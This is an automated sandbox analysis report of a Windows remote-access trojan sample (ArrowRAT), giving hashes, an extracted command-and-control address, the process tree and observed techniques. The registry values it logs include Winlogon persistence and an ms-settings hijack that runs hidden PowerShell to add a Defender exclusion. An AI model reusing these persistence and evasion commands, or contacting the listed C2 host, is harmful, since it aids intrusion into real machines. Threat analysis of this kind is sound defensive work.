Analysis
-
max time kernel
1624s -
max time network
1615s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
26-02-2023 11:19
Behavioral task
behavioral1
Sample
Client.exe
Resource
win7-20230220-en
windows7-x64
12 signatures
1800 seconds
Behavioral task
behavioral2
Sample
Client.exe
Resource
win10v2004-20230220-en
windows10-2004-x64
16 signatures
1800 seconds
General
-
Target
Client.exe
-
Size
157KB
-
MD5
881c51282ebd1bcef1362dd4cd00aec3
-
SHA1
6f701e0d16191e2a120bf24f873f74a167be5748
-
SHA256
220f466224194d58d64f18ef376a0c4a7de07c93527070d7b357a708fb4293bf
-
SHA512
57ff91504021d42079f4ffe0dbd6e185105e5c8a6bba11e20b864720f04243604d48b383ef5d93978ad7fe48e24e876305a374a994c7c5c6ab3303e4c0d97a7e
-
SSDEEP
3072:+bR3+0O5VbFHexuiCrK0ovzNC0Fie+5cVjvn+sZCh8/QbNb68Y:+bRu0OLoxuiCNovpke+cvnOaQI8
Score
10/10
Malware Config
Extracted
Family
arrowrat
Botnet
Client
C2
194.ip.ply.gg:54552
Mutex
AbZfjNVtY
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\xjLsSeVeH\\Client" Client.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\ms-settings Client.exe Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\ms-settings\shell Client.exe Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\ms-settings\shell\open\command Client.exe Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\ms-settings\shell\open Client.exe Set value (str) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Roaming\\xjLsSeVeH\\Client'" Client.exe Set value (str) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute Client.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe 1520 Client.exe -
Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 1520 Client.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: 33 1068 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1068 AUDIODG.EXE Token: 33 1068 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1068 AUDIODG.EXE Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe Token: SeShutdownPrivilege 920 explorer.exe -
Suspicious use of FindShellTrayWindow 30 IoCs
pid Process 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe -
Suspicious use of SendNotifyMessage 20 IoCs
pid Process 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe 920 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1520 Client.exe -
Suspicious use of WriteProcessMemory 49 IoCs
description pid Process procid_target PID 1520 wrote to memory of 920 1520 Client.exe 28 PID 1520 wrote to memory of 920 1520 Client.exe 28 PID 1520 wrote to memory of 920 1520 Client.exe 28 PID 1520 wrote to memory of 1136 1520 Client.exe 29 PID 1520 wrote to memory of 1136 1520 Client.exe 29 PID 1520 wrote to memory of 1136 1520 Client.exe 29 PID 1520 wrote to memory of 1136 1520 Client.exe 29 PID 1520 wrote to memory of 1512 1520 Client.exe 30 PID 1520 wrote to memory of 1512 1520 Client.exe 30 PID 1520 wrote to memory of 1512 1520 Client.exe 30 PID 1520 wrote to memory of 1512 1520 Client.exe 30 PID 1520 wrote to memory of 1480 1520 Client.exe 31 PID 1520 wrote to memory of 1480 1520 Client.exe 31 PID 1520 wrote to memory of 1480 1520 Client.exe 31 PID 1520 wrote to memory of 1480 1520 Client.exe 31 PID 1520 wrote to memory of 1488 1520 Client.exe 32 PID 1520 wrote to memory of 1488 1520 Client.exe 32 PID 1520 wrote to memory of 1488 1520 Client.exe 32 PID 1520 wrote to memory of 1488 1520 Client.exe 32 PID 1520 wrote to memory of 1044 1520 Client.exe 33 PID 1520 wrote to memory of 1044 1520 Client.exe 33 PID 1520 wrote to memory of 1044 1520 Client.exe 33 PID 1520 wrote to memory of 1044 1520 Client.exe 33 PID 1520 wrote to memory of 1644 1520 Client.exe 38 PID 1520 wrote to memory of 1644 1520 Client.exe 38 PID 1520 wrote to memory of 1644 1520 Client.exe 38 PID 1520 wrote to memory of 1644 1520 Client.exe 38 PID 1520 wrote to memory of 320 1520 Client.exe 37 PID 1520 wrote to memory of 320 1520 Client.exe 37 PID 1520 wrote to memory of 320 1520 Client.exe 37 PID 1520 wrote to memory of 320 1520 Client.exe 37 PID 1520 wrote to memory of 656 1520 Client.exe 36 PID 1520 wrote to memory of 656 1520 Client.exe 36 PID 1520 wrote to memory of 656 1520 Client.exe 36 PID 1520 wrote to memory of 656 1520 Client.exe 36 PID 1520 wrote to memory of 524 1520 Client.exe 35 PID 1520 wrote to memory of 524 1520 Client.exe 35 PID 1520 wrote to memory of 524 1520 Client.exe 35 PID 1520 wrote to memory of 524 1520 Client.exe 35 PID 1520 wrote to memory of 972 1520 Client.exe 34 PID 1520 wrote to memory of 972 1520 Client.exe 34 PID 1520 wrote to memory of 972 1520 Client.exe 34 PID 1520 wrote to memory of 972 1520 Client.exe 34 PID 920 wrote to memory of 1912 920 explorer.exe 39 PID 920 wrote to memory of 1912 920 explorer.exe 39 PID 920 wrote to memory of 1912 920 explorer.exe 39 PID 1520 wrote to memory of 1804 1520 Client.exe 40 PID 1520 wrote to memory of 1804 1520 Client.exe 40 PID 1520 wrote to memory of 1804 1520 Client.exe 40 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\system32\ctfmon.exectfmon.exe3⤵PID:1912
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:1136
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:1512
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:1480
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:1488
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:1044
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:972
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:524
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:656
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:320
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 AbZfjNVtY2⤵PID:1644
-
-
C:\Windows\System32\ComputerDefaults.exe"C:\Windows\System32\ComputerDefaults.exe"2⤵PID:1804
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4f41⤵
- Suspicious use of AdjustPrivilegeToken
PID:1068